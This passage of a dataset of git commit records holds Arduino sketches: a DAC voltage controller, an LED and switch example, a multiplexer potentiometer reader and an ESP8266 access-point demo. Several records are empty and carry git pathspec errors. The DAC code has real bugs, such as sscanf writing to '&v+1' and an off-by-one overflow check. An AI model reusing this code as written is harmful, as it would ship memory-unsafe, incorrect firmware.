nope(char ch)\n{\n mySerial.print(ch);\n mySerial.flush();\n} \n\nvoid ack()\n{\n mySerial.print(\".\");\n mySerial.flush();\n}\n\n\/*\nbool check_and_strip_parity_from_buffer(char *buffer, uint8_t len)\n{\n for (uint8_t i=0; i < len; i++)\n {\n bool ok = check_and_strip_parity_from_byte(&buffer[i]);\n if (!ok)\n {\n return false;\n }\n }\n}\n\nbool check_and_strip_parity_from_byte(char *buffer)\n{\n uint8_t byte_with_parity = buffer[0];\n uint8_t decoded_byte = byte_with_parity >> 1;\n uint8_t received_parity_bit = byte_with_parity % 1;\n uint8_t expected_parity_bit = decoded_byte % 1;\n buffer[0] = decoded_byte;\n return (expected_parity_bit == received_parity_bit);\n}\n*\/\n\nvoid set_DAC_bits(uint8_t bits)\n{\n bool use_2x_gain = true;\n voltageDAC.setVoltageOutputBits(DAC_bits, use_2x_gain);\n}\n\nbool DAC_would_overflow(uint8_t num_bits)\n{\n return DAC_bits == (1 << num_bits);\n}\n\nbool DAC_would_underflow()\n{\n return DAC_bits == 0;\n}\n\nbool increment_output_voltage()\n{\n if (DAC_would_overflow(DAC_num_bits))\n {\n return false;\n }\n\n DAC_bits++;\n set_DAC_bits(DAC_bits);\n return true;\n}\n\nbool decrement_output_voltage()\n{\n if (DAC_would_underflow())\n {\n return false;\n }\n\n DAC_bits--;\n set_DAC_bits(DAC_bits);\n return true;\n}\n\nbool parse_and_run_voltage_command(char *buffer)\n{\n float v = 0;\n int num_matches_found = sscanf(buffer, \"%f\", &v+1);\n if (num_matches_found != 1)\n {\n return false;\n }\n \n voltageDAC.setVoltageOutput(v);\n return true;\n}\n\nbool parse_and_run_hex_command(char *buffer)\n{\n uint16_t bits = 0;\n int num_matches_found = sscanf(buffer, \"%x\", &bits);\n if (num_matches_found != 1)\n {\n return false;\n }\n\n DAC_bits = bits;\n set_DAC_bits(DAC_bits);\n return true;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino_code\/arduino_code.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d4b4cd7250400f8c9ffdd57f2d57e237904d14b7","subject":"This program uses the HIVE Led\/Switch shield for arduino uno. The program displays the state of the switches on the corsponding leds","message":"This program uses the HIVE Led\/Switch shield for arduino uno.\nThe program displays the state of the switches on the corsponding leds\n","repos":"rlangoy\/socLabWeek41","old_file":"arduino_src\/LedSwitchExample\/LedSwitchExample.ino","new_file":"arduino_src\/LedSwitchExample\/LedSwitchExample.ino","new_contents":"\/*\n This program uses the HIVE Led\/Switch shield for arduino uno.\n The program displays the state of the switches on the corsponding leds\n This example code is in the public domain.\n *\/\n\n\/\/ Give names to the input pins\nint sw0 = 14;\nint sw1 = 15;\nint sw2 = 16;\nint sw3 = 17;\nint sw4 = 18;\n\n\/\/ Give names to the output pins\nint led0 = 8;\nint led1 = 9;\nint led2 = 10;\nint led3 = 11;\nint led4 = 12;\n\n\/\/ the setup routine runs once when you press reset:\nvoid setup() {\n \/\/ initialize serial communication at 9600 bits per second:\n Serial.begin(9600);\n \/\/ make the switches input width pulup\n pinMode(sw0, INPUT_PULLUP);\n pinMode(sw1, INPUT_PULLUP);\n pinMode(sw2, INPUT_PULLUP);\n pinMode(sw3, INPUT_PULLUP);\n\n \/\/ make the switches input width pulup \n pinMode(led0, OUTPUT );\n pinMode(led1, OUTPUT );\n pinMode(led2, OUTPUT );\n pinMode(led3, OUTPUT ); \n}\n\n\/\/ the loop routine runs over and over again forever:\nvoid loop() {\n\n \/\/Copy the state of input to the output\n digitalWrite(led0,digitalRead(sw0));\n digitalWrite(led1,digitalRead(sw1));\n digitalWrite(led2,digitalRead(sw2));\n digitalWrite(led3,digitalRead(sw3));\n digitalWrite(led4,digitalRead(sw4));\n\n delay(1); \/\/ delay in between reads for stability\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino_src\/LedSwitchExample\/LedSwitchExample.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a915b7cb15e082986147ca3b916d1e8ef36c2646","subject":"debugging","message":"debugging\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"unit tests\/pwm_detector_test\/pwm_detector_test.ino","new_file":"unit tests\/pwm_detector_test\/pwm_detector_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'unit' did not match any file(s) known to git\nerror: pathspec 'tests\/pwm_detector_test\/pwm_detector_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cff06c10b62f7a43cf68150aca7143e3c35af8e3","subject":"Update Code.ino","message":"Update Code.ino","repos":"MidnightBWolf\/t1a01-app-Kaiya","old_file":"Slide Potentiometer\/Code.ino","new_file":"Slide Potentiometer\/Code.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Slide' did not match any file(s) known to git\nerror: pathspec 'Potentiometer\/Code.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"66bdc3267b956f64314a24efc0cc138f18230cda","subject":"Cerveau: AI - pr\u00e9paration r\u00e9ception I2C \u00e9cran","message":"Cerveau: AI - pr\u00e9paration r\u00e9ception I2C \u00e9cran\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Module Cerveau\/Artificial Intelligence\/ai\/ai\/ai.ino","new_file":"Module Cerveau\/Artificial Intelligence\/ai\/ai\/ai.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Module' did not match any file(s) known to git\nerror: pathspec 'Cerveau\/Artificial' did not match any file(s) known to git\nerror: pathspec 'Intelligence\/ai\/ai\/ai.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c275c2a6628a2257172fe4f4582d277127479d7f","subject":"Added example for analog multiplexer with a potentiometer","message":"Added example for analog multiplexer with a potentiometer\n","repos":"ajfisher\/arduino-analog-multiplexer","old_file":"examples\/MuxPot\/MuxPot.ino","new_file":"examples\/MuxPot\/MuxPot.ino","new_contents":"\/**\n\nAuthor: Andrew Fisher\nVersion: 0.1\nDate: 22 September, 2012\n\nHistory:\n22 September, 2012 - Andrew Fisher, First version\n\nUses the analog multiplexer library to read multiple potentiometers\n\nThis example uses 3 pots connected to 4051 inputs 0-2 which are then read\nappropriately.\n\n\n**\/\n\n#include <analogmuxdemux.h>\n\n\n#define READPIN 0 \/\/ What analog input on the arduino do you want?\n\n\/\/ how many input pins are you going to use on the Muxer, this example uses\n\/\/ three\n#define NO_PINS 3 \n\n\n\/\/ set up the DeMux ready to be used. Watch the order of S0, S1 and S2. \nAnalogMux amux(4,3,2, READPIN);\n\nvoid setup() { \n Serial.begin(9600);\n Serial.println(\"Starting 4051 analog reader...\");\n delay(1000);\n}\n\nvoid loop() {\n\n \/\/ go through each pin on the muxer in turn and just print out it's position\n \/\/ and it's reading then delay a bit and do the next one.\n for (int pinno=0; pinno < NO_PINS; pinno++){\n\n amux.SelectPin(pinno); \/\/ choose the pin you want to send signal to off the DeMux\n int reading = amux.AnalogRead();\n Serial.print(\"Pin: \");\n Serial.print(pinno);\n Serial.print(\" Value: \");\n Serial.print(reading);\n Serial.print(\" \");\n\n delay(10);\n }\n Serial.println(\"\");\n delay(1000);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/MuxPot\/MuxPot.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"8c75687a4edbfced876e73633c9d8e8baff8ba6a","subject":"Wireless access point demo","message":"Wireless access point demo\n","repos":"theapi\/denbit,theapi\/denbit","old_file":"arduino\/WiFiAccessPoint\/WiFiAccessPoint.ino","new_file":"arduino\/WiFiAccessPoint\/WiFiAccessPoint.ino","new_contents":"\/*\n * Copyright (c) 2015, Majenko Technologies\n * All rights reserved.\n * \n * Redistribution and use in source and binary forms, with or without modification,\n * are permitted provided that the following conditions are met:\n * \n * * Redistributions of source code must retain the above copyright notice, this\n * list of conditions and the following disclaimer.\n * \n * * Redistributions in binary form must reproduce the above copyright notice, this\n * list of conditions and the following disclaimer in the documentation and\/or\n * other materials provided with the distribution.\n * \n * * Neither the name of Majenko Technologies nor the names of its\n * contributors may be used to endorse or promote products derived from\n * this software without specific prior written permission.\n * \n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\n * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR\n * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON\n * ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\/* Create a WiFi access point and provide a web server on it. *\/\n\n#include <ESP8266WiFi.h>\n#include <WiFiClient.h> \n#include <ESP8266WebServer.h>\n\n#define LED_S_GREEN 13 \/\/ D7\n#define LED_S_RED 12 \/\/ D6\n#define LED_RGB_RED 15 \/\/ D8\n#define LED_RGB_GREEN 14 \/\/ D5\n#define LED_RGB_BLUE 10 \/\/ SD3\n#define SW1 2\n#define SW2 16\n\n\/* Set these to your desired credentials. *\/\nconst char *ssid = \"ESPap\";\nconst char *password = \"123\";\n\nESP8266WebServer server(80);\n\n\/* Just a little test message. Go to http:\/\/192.168.4.1 in a web browser\n * connected to this access point to see it.\n *\/\nvoid handleRoot() {\n\tserver.send(200, \"text\/html\", \"<h1>You are connected<\/h1>\");\n}\n\nvoid handleLed() {\n if (digitalRead(LED_RGB_GREEN)) {\n digitalWrite(LED_RGB_RED, LOW); \n digitalWrite(LED_RGB_GREEN, LOW); \n digitalWrite(LED_RGB_BLUE, LOW); \n server.send(200, \"text\/html\", \"<h1>LED OFF<\/h1><h2><a href=\\\"\/led\\\">reload<\/a><\/h2>\");\n } else {\n digitalWrite(LED_RGB_RED, HIGH); \n digitalWrite(LED_RGB_GREEN, HIGH); \n digitalWrite(LED_RGB_BLUE, HIGH); \n server.send(200, \"text\/html\", \"<h1>LED ON<\/h1><h2><a href=\\\"\/led\\\">reload<\/a><\/h2>\");\n }\n \n}\n\nvoid setup() {\n\n pinMode(LED_S_GREEN, OUTPUT);\n pinMode(LED_S_RED, OUTPUT);\n\n \/\/ RGB led\n pinMode(LED_RGB_RED, OUTPUT);\n pinMode(LED_RGB_GREEN, OUTPUT);\n pinMode(LED_RGB_BLUE, OUTPUT);\n\n \/\/ Switches\n pinMode(SW1, INPUT_PULLUP);\n pinMode(SW2, INPUT_PULLUP);\n \n\tdelay(1000);\n\tSerial.begin(115200);\n\tSerial.println();\n\tSerial.print(\"Configuring access point...\");\n\t\/* You can remove the password parameter if you want the AP to be open. *\/\n\t\/\/WiFi.softAP(ssid, password);\n\n\tIPAddress myIP = WiFi.softAPIP();\n \n\tSerial.print(\"AP IP address: \");\n\tSerial.println(myIP);\n\tserver.on(\"\/\", handleRoot);\n server.on(\"\/led\", handleLed);\n\tserver.begin();\n \n\tSerial.println(\"HTTP server started\");\n \n digitalWrite(LED_RGB_RED, LOW); \n digitalWrite(LED_RGB_GREEN, LOW); \n digitalWrite(LED_RGB_BLUE, LOW); \n digitalWrite(LED_S_GREEN, HIGH);\n digitalWrite(LED_S_RED, LOW);\n}\n\nvoid loop() {\n\tserver.handleClient();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/WiFiAccessPoint\/WiFiAccessPoint.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d7d78ff6a5bfede76bca655900e66a1b0393f925","subject":"Updated title in comments of Esplora Sound Sensor example","message":"Updated title in comments of Esplora Sound Sensor example\n","repos":"Cloudino\/Cloudino-Arduino-IDE,rodibot\/Arduino,me-no-dev\/Arduino-1,ogahara\/Arduino,EmuxEvans\/Arduino,pdNor\/Arduino,stevemarple\/Arduino-org,cscenter\/Arduino,adafruit\/ESP8266-Arduino,tbowmo\/Arduino,andyvand\/Arduino-1,Cloudino\/Cloudino-Arduino-IDE,ThoughtWorksIoTGurgaon\/Arduino,gberl001\/Arduino,pdNor\/Arduino,xxxajk\/Arduino-1,Cloudino\/Arduino,smily77\/Arduino,jaehong\/Xmegaduino,tannewt\/Arduino,andyvand\/Arduino-1,kidswong999\/Arduino,arduino-org\/Arduino,niggor\/Arduino_cc,tbowmo\/Arduino,NicoHood\/Arduino,chaveiro\/Arduino,linino\/Arduino,zederson\/Arduino,tomkrus007\/Arduino,niggor\/Arduino_cc,kidswong999\/Arduino,Chris--A\/Arduino,KlaasDeNys\/Arduino,smily77\/Arduino,aichi\/Arduino-2,jomolinare\/Arduino,tomkrus007\/Arduino,benwolfe\/esp8266-Arduino,rodibot\/Arduino,mateuszdw\/Arduino,myrtleTree33\/Arduino,tskurauskas\/Arduino,arduino-org\/Arduino,ari-analytics\/Arduino,niggor\/Arduino_cc,rcook\/DesignLab,laylthe\/Arduino,wayoda\/Arduino,mattvenn\/Arduino,nkolban\/Arduino,drpjk\/Arduino,eduardocasarin\/Arduino,Cloudino\/Arduino,jaimemaretoli\/Arduino,ms-iot\/Arduino,vbextreme\/Arduino,laylthe\/Arduino,benwolfe\/esp8266-Arduino,SmartArduino\/Arduino-1,ashwin713\/Arduino,01org\/Arduino,Chris--A\/Arduino,eddyst\/Arduino-SourceCode,zederson\/Arduino,rodibot\/Arduino,NaSymbol\/Arduino,aichi\/Arduino-2,plaintea\/esp8266-Arduino,PeterVH\/Arduino,gberl001\/Arduino,onovy\/Arduino,majenkotech\/Arduino,zenmanenergy\/Arduino,NeuralSpaz\/Arduino,laylthe\/Arduino,gestrem\/Arduino,nkolban\/Arduino,talhaburak\/Arduino,Cloudino\/Arduino,ikbelkirasan\/Arduino,gurbrinder\/Arduino,superboonie\/Arduino,Ramoonus\/Arduino,wdoganowski\/Arduino,shiitakeo\/Arduino,probonopd\/Arduino,wilhelmryan\/Arduino,ogahara\/Arduino,koltegirish\/Arduino,plaintea\/esp8266-Arduino,NaSymbol\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,talhaburak\/Arduino,NaSymbol\/Arduino,01org\/Arduino,jomolinare\/Arduino,shannonshsu\/Arduino,byran\/Arduino,ikbelkirasan\/Arduino,spapadim\/Arduino,ForestNymph\/Arduino_sources,weera00\/Arduino,NicoHood\/Arduino,Gourav2906\/Arduino,koltegirish\/Arduino,kidswong999\/Arduino,Protoneer\/Arduino,jaimemaretoli\/Arduino,jmgonzalez00449\/Arduino,probonopd\/Arduino,ccoenen\/Arduino,adafruit\/ESP8266-Arduino,vbextreme\/Arduino,Gourav2906\/Arduino,andyvand\/Arduino-1,raimohanska\/Arduino,bsmr-arduino\/Arduino,paulo-raca\/ESP8266-Arduino,smily77\/Arduino,paulo-raca\/ESP8266-Arduino,leftbrainstrain\/Arduino-ESP8266,NeuralSpaz\/Arduino,Cloudino\/Arduino,steamboating\/Arduino,steamboating\/Arduino,UDOOboard\/Arduino,leftbrainstrain\/Arduino-ESP8266,wilhelmryan\/Arduino,mboufos\/esp8266-Arduino,eduardocasarin\/Arduino,talhaburak\/Arduino,xxxajk\/Arduino-1,eddyst\/Arduino-SourceCode,paulo-raca\/ESP8266-Arduino,ForestNymph\/Arduino_sources,PeterVH\/Arduino,nkolban\/Arduino,cscenter\/Arduino,01org\/Arduino,ektor5\/Arduino,nkolban\/Arduino,toddtreece\/esp8266-Arduino,damellis\/Arduino,mangelajo\/Arduino,snargledorf\/Arduino,tannewt\/Arduino,UDOOboard\/Arduino,weera00\/Arduino,snargledorf\/Arduino,ikbelkirasan\/Arduino,tommyli2014\/Arduino,shannonshsu\/Arduino,majenkotech\/Arduino,acosinwork\/Arduino,spapadim\/Arduino,EmuxEvans\/Arduino,andyvand\/Arduino-1,cscenter\/Arduino,shiitakeo\/Arduino,jomolinare\/Arduino,shiitakeo\/Arduino,ccoenen\/Arduino,lulufei\/Arduino,stevemayhew\/Arduino,ssvs111\/Arduino,ikbelkirasan\/Arduino,rcook\/DesignLab,jamesrob4\/Arduino,eggfly\/arduino,cscenter\/Arduino,SmartArduino\/Arduino-1,aichi\/Arduino-2,ntruchsess\/Arduino-1,acosinwork\/Arduino,bugobliterator\/BUAGI,rcook\/DesignLab,jaehong\/Xmegaduino,Gourav2906\/Arduino,ms-iot\/Arduino,jomolinare\/Arduino,weera00\/Arduino,kidswong999\/Arduino,wdoganowski\/Arduino,ForestNymph\/Arduino_sources,ikbelkirasan\/Arduino,tskurauskas\/Arduino,Alfredynho\/AgroSis,wayoda\/Arduino,adamkh\/Arduino,mateuszdw\/Arduino,zaiexx\/Arduino,ikbelkirasan\/Arduino,gurbrinder\/Arduino,wdoganowski\/Arduino,gestrem\/Arduino,jamesrob4\/Arduino,garci66\/Arduino,nkolban\/Arduino,byran\/Arduino,gurbrinder\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,mateuszdw\/Arduino,adafruit\/ESP8266-Arduino,gonium\/Arduino,damellis\/Arduino,eddyst\/Arduino-SourceCode,shannonshsu\/Arduino,tommyli2014\/Arduino,damellis\/Arduino,jaej-dev\/Arduino,ForestNymph\/Arduino_sources,rcook\/DesignLab,01org\/Arduino,ricklon\/Arduino,ashwin713\/Arduino,KlaasDeNys\/Arduino,ntruchsess\/Arduino-1,laylthe\/Arduino,KlaasDeNys\/Arduino,scdls\/Arduino,Alfredynho\/AgroSis,nandojve\/Arduino,nandojve\/Arduino,KlaasDeNys\/Arduino,piersoft\/esp8266-Arduino,PeterVH\/Arduino,ogferreiro\/Arduino,bigjosh\/Arduino,drpjk\/Arduino,gonium\/Arduino,wayoda\/Arduino,jmgonzalez00449\/Arduino,adafruit\/ESP8266-Arduino,ashwin713\/Arduino,mateuszdw\/Arduino,chaveiro\/Arduino,mangelajo\/Arduino,jmgonzalez00449\/Arduino,ogferreiro\/Arduino,zaiexx\/Arduino,majenkotech\/Arduino,ari-analytics\/Arduino,stevemarple\/Arduino-org,ms-iot\/Arduino,paulo-raca\/ESP8266-Arduino,talhaburak\/Arduino,ntruchsess\/Arduino-1,UDOOboard\/Arduino,PaoloP74\/Arduino,bsmr-arduino\/Arduino,steamboating\/Arduino,PaintYourDragon\/Arduino,lukeWal\/Arduino,andyvand\/Arduino-1,jabezGit\/Arduino,plinioseniore\/Arduino,ntruchsess\/Arduino-1,superboonie\/Arduino,bugobliterator\/BUAGI,linino\/Arduino,mangelajo\/Arduino,PeterVH\/Arduino,stevemarple\/Arduino-org,jabezGit\/Arduino,chaveiro\/Arduino,onovy\/Arduino,noahchense\/Arduino-1,danielchalef\/Arduino,shannonshsu\/Arduino,NicoHood\/Arduino,pdNor\/Arduino,mboufos\/esp8266-Arduino,odbol\/Arduino,ssvs111\/Arduino,ForestNymph\/Arduino_sources,ikbelkirasan\/Arduino,karlitxo\/Arduino,tomkrus007\/Arduino,smily77\/Arduino,ashwin713\/Arduino,mangelajo\/Arduino,fungxu\/Arduino,PeterVH\/Arduino,leftbrainstrain\/Arduino-ESP8266,Ramoonus\/Arduino,andrealmeidadomingues\/Arduino,Chris--A\/Arduino,tannewt\/Arduino,steamboating\/Arduino,jabezGit\/Arduino,nandojve\/Arduino,scdls\/Arduino,Gourav2906\/Arduino,zenmanenergy\/Arduino,OpenDevice\/Arduino,snargledorf\/Arduino,ektor5\/Arduino,tommyli2014\/Arduino,jomolinare\/Arduino,andrealmeidadomingues\/Arduino,OpenDevice\/Arduino,HCastano\/Arduino,zederson\/Arduino,wilhelmryan\/Arduino,laylthe\/Arduino,zederson\/Arduino,raimohanska\/Arduino,radut\/Arduino,jaimemaretoli\/Arduino,bugobliterator\/BUAGI,ThoughtWorksIoTGurgaon\/Arduino,shiitakeo\/Arduino,lukeWal\/Arduino,gonium\/Arduino,plinioseniore\/Arduino,adamkh\/Arduino,fungxu\/Arduino,jaej-dev\/Arduino,xxxajk\/Arduino-1,andyvand\/Arduino-1,ari-analytics\/Arduino,eeijcea\/Arduino-1,NicoHood\/Arduino,KlaasDeNys\/Arduino,stickbreaker\/Arduino,tskurauskas\/Arduino,jaimemaretoli\/Arduino,OpenDevice\/Arduino,drpjk\/Arduino,PaoloP74\/Arduino,drpjk\/Arduino,plinioseniore\/Arduino,championswimmer\/Arduino,mateuszdw\/Arduino,Cloudino\/Arduino,ari-analytics\/Arduino,Gourav2906\/Arduino,Alfredynho\/AgroSis,SmartArduino\/Arduino-1,HCastano\/Arduino,gonium\/Arduino,ForestNymph\/Arduino_sources,radut\/Arduino,wayoda\/Arduino,mc-hamster\/esp8266-Arduino,gonium\/Arduino,tskurauskas\/Arduino,Protoneer\/Arduino,Protoneer\/Arduino,plinioseniore\/Arduino,eeijcea\/Arduino-1,majenkotech\/Arduino,adamkh\/Arduino,adamkh\/Arduino,sanyaade-iot\/Arduino-1,tannewt\/Arduino,PaoloP74\/Arduino,01org\/Arduino,shannonshsu\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,acosinwork\/Arduino,kidswong999\/Arduino,Alfredynho\/AgroSis,mc-hamster\/esp8266-Arduino,ektor5\/Arduino,xxxajk\/Arduino-1,rodibot\/Arduino,tommyli2014\/Arduino,plaintea\/esp8266-Arduino,karlitxo\/Arduino,leftbrainstrain\/Arduino-ESP8266,steamboating\/Arduino,eggfly\/arduino,jamesrob4\/Arduino,bugobliterator\/BUAGI,stevemayhew\/Arduino,probonopd\/Arduino,paulo-raca\/ESP8266-Arduino,sanyaade-iot\/Arduino-1,drpjk\/Arduino,paulmand3l\/Arduino,adamkh\/Arduino,jamesrob4\/Arduino,tomkrus007\/Arduino,jabezGit\/Arduino,Protoneer\/Arduino,adafruit\/ESP8266-Arduino,bugobliterator\/BUAGI,talhaburak\/Arduino,plaintea\/esp8266-Arduino,adafruit\/ESP8266-Arduino,arunkuttiyara\/Arduino,tbowmo\/Arduino,andyvand\/Arduino-1,drpjk\/Arduino,ms-iot\/Arduino,Cloudino\/Cloudino-Arduino-IDE,jaimemaretoli\/Arduino,jmgonzalez00449\/Arduino,myrtleTree33\/Arduino,talhaburak\/Arduino,byran\/Arduino,SmartArduino\/Arduino-1,jamesrob4\/Arduino,gestrem\/Arduino,probonopd\/Arduino,zaiexx\/Arduino,benwolfe\/esp8266-Arduino,EmuxEvans\/Arduino,gestrem\/Arduino,tskurauskas\/Arduino,jaej-dev\/Arduino,zenmanenergy\/Arduino,me-no-dev\/Arduino-1,nandojve\/Arduino,byran\/Arduino,eddyst\/Arduino-SourceCode,cscenter\/Arduino,zaiexx\/Arduino,lulufei\/Arduino,Cloudino\/Cloudino-Arduino-IDE,eduardocasarin\/Arduino,KlaasDeNys\/Arduino,tbowmo\/Arduino,Gourav2906\/Arduino,plinioseniore\/Arduino,tskurauskas\/Arduino,jaimemaretoli\/Arduino,EmuxEvans\/Arduino,jaimemaretoli\/Arduino,acosinwork\/Arduino,jabezGit\/Arduino,Chris--A\/Arduino,ogferreiro\/Arduino,eeijcea\/Arduino-1,bsmr-arduino\/Arduino,piersoft\/esp8266-Arduino,mboufos\/esp8266-Arduino,niggor\/Arduino_cc,jomolinare\/Arduino,Protoneer\/Arduino,raimohanska\/Arduino,ccoenen\/Arduino,sanyaade-iot\/Arduino-1,ogferreiro\/Arduino,jaehong\/Xmegaduino,myrtleTree33\/Arduino,stickbreaker\/Arduino,benwolfe\/esp8266-Arduino,NeuralSpaz\/Arduino,acosinwork\/Arduino,vbextreme\/Arduino,PeterVH\/Arduino,jaej-dev\/Arduino,jaimemaretoli\/Arduino,Orthogonal-Systems\/arduino-libs,wilhelmryan\/Arduino,adamkh\/Arduino,mc-hamster\/esp8266-Arduino,stevemayhew\/Arduino,nandojve\/Arduino,nandojve\/Arduino,Cloudino\/Cloudino-Arduino-IDE,pdNor\/Arduino,jmgonzalez00449\/Arduino,Gourav2906\/Arduino,paulmand3l\/Arduino,ektor5\/Arduino,eeijcea\/Arduino-1,Alfredynho\/AgroSis,superboonie\/Arduino,smily77\/Arduino,ashwin713\/Arduino,EmuxEvans\/Arduino,radut\/Arduino,Alfredynho\/AgroSis,scdls\/Arduino,NicoHood\/Arduino,rodibot\/Arduino,NaSymbol\/Arduino,NaSymbol\/Arduino,paulmand3l\/Arduino,zaiexx\/Arduino,odbol\/Arduino,radut\/Arduino,acosinwork\/Arduino,probonopd\/Arduino,arunkuttiyara\/Arduino,NeuralSpaz\/Arduino,zaiexx\/Arduino,eddyst\/Arduino-SourceCode,arduino-org\/Arduino,henningpohl\/Arduino,lukeWal\/Arduino,mangelajo\/Arduino,garci66\/Arduino,piersoft\/esp8266-Arduino,jaehong\/Xmegaduino,NicoHood\/Arduino,lukeWal\/Arduino,weera00\/Arduino,nandojve\/Arduino,SmartArduino\/Arduino-1,fungxu\/Arduino,ForestNymph\/Arduino_sources,linino\/Arduino,ntruchsess\/Arduino-1,onovy\/Arduino,jomolinare\/Arduino,acosinwork\/Arduino,me-no-dev\/Arduino-1,OpenDevice\/Arduino,andrealmeidadomingues\/Arduino,lulufei\/Arduino,ogahara\/Arduino,mangelajo\/Arduino,odbol\/Arduino,noahchense\/Arduino-1,odbol\/Arduino,NicoHood\/Arduino,garci66\/Arduino,spapadim\/Arduino,xxxajk\/Arduino-1,ogahara\/Arduino,lulufei\/Arduino,PaintYourDragon\/Arduino,UDOOboard\/Arduino,mc-hamster\/esp8266-Arduino,wdoganowski\/Arduino,niggor\/Arduino_cc,stevemayhew\/Arduino,karlitxo\/Arduino,ntruchsess\/Arduino-1,smily77\/Arduino,OpenDevice\/Arduino,bsmr-arduino\/Arduino,me-no-dev\/Arduino-1,arunkuttiyara\/Arduino,ccoenen\/Arduino,koltegirish\/Arduino,danielchalef\/Arduino,zenmanenergy\/Arduino,shiitakeo\/Arduino,radut\/Arduino,eeijcea\/Arduino-1,mc-hamster\/esp8266-Arduino,gestrem\/Arduino,tommyli2014\/Arduino,bsmr-arduino\/Arduino,arduino-org\/Arduino,PeterVH\/Arduino,plaintea\/esp8266-Arduino,koltegirish\/Arduino,jabezGit\/Arduino,ari-analytics\/Arduino,garci66\/Arduino,gurbrinder\/Arduino,andrealmeidadomingues\/Arduino,aichi\/Arduino-2,chaveiro\/Arduino,PaoloP74\/Arduino,ari-analytics\/Arduino,ccoenen\/Arduino,zaiexx\/Arduino,gberl001\/Arduino,garci66\/Arduino,danielchalef\/Arduino,pdNor\/Arduino,ntruchsess\/Arduino-1,ogferreiro\/Arduino,nkolban\/Arduino,mateuszdw\/Arduino,odbol\/Arduino,kidswong999\/Arduino,Orthogonal-Systems\/arduino-libs,OpenDevice\/Arduino,lulufei\/Arduino,eduardocasarin\/Arduino,leftbrainstrain\/Arduino-ESP8266,rcook\/DesignLab,xxxajk\/Arduino-1,karlitxo\/Arduino,stevemayhew\/Arduino,championswimmer\/Arduino,wdoganowski\/Arduino,henningpohl\/Arduino,tskurauskas\/Arduino,zenmanenergy\/Arduino,ari-analytics\/Arduino,jmgonzalez00449\/Arduino,adamkh\/Arduino,stickbreaker\/Arduino,ektor5\/Arduino,karlitxo\/Arduino,stevemarple\/Arduino-org,probonopd\/Arduino,mattvenn\/Arduino,henningpohl\/Arduino,championswimmer\/Arduino,NicoHood\/Arduino,weera00\/Arduino,arduino-org\/Arduino,NaSymbol\/Arduino,raimohanska\/Arduino,superboonie\/Arduino,gonium\/Arduino,zaiexx\/Arduino,wayoda\/Arduino,jabezGit\/Arduino,koltegirish\/Arduino,noahchense\/Arduino-1,aichi\/Arduino-2,arunkuttiyara\/Arduino,jaehong\/Xmegaduino,koltegirish\/Arduino,ssvs111\/Arduino,chaveiro\/Arduino,raimohanska\/Arduino,stevemarple\/Arduino-org,jabezGit\/Arduino,scdls\/Arduino,ashwin713\/Arduino,plinioseniore\/Arduino,chaveiro\/Arduino,pdNor\/Arduino,chaveiro\/Arduino,garci66\/Arduino,me-no-dev\/Arduino-1,tskurauskas\/Arduino,snargledorf\/Arduino,vbextreme\/Arduino,henningpohl\/Arduino,sanyaade-iot\/Arduino-1,rcook\/DesignLab,PaintYourDragon\/Arduino,tbowmo\/Arduino,tbowmo\/Arduino,bsmr-arduino\/Arduino,noahchense\/Arduino-1,ricklon\/Arduino,ari-analytics\/Arduino,Alfredynho\/AgroSis,vbextreme\/Arduino,mattvenn\/Arduino,arunkuttiyara\/Arduino,pdNor\/Arduino,wayoda\/Arduino,Cloudino\/Arduino,snargledorf\/Arduino,aichi\/Arduino-2,chaveiro\/Arduino,gberl001\/Arduino,garci66\/Arduino,laylthe\/Arduino,ssvs111\/Arduino,sanyaade-iot\/Arduino-1,mattvenn\/Arduino,stickbreaker\/Arduino,henningpohl\/Arduino,lukeWal\/Arduino,SmartArduino\/Arduino-1,gurbrinder\/Arduino,Protoneer\/Arduino,fungxu\/Arduino,talhaburak\/Arduino,PaintYourDragon\/Arduino,PaoloP74\/Arduino,NaSymbol\/Arduino,ricklon\/Arduino,bugobliterator\/BUAGI,eduardocasarin\/Arduino,laylthe\/Arduino,damellis\/Arduino,stickbreaker\/Arduino,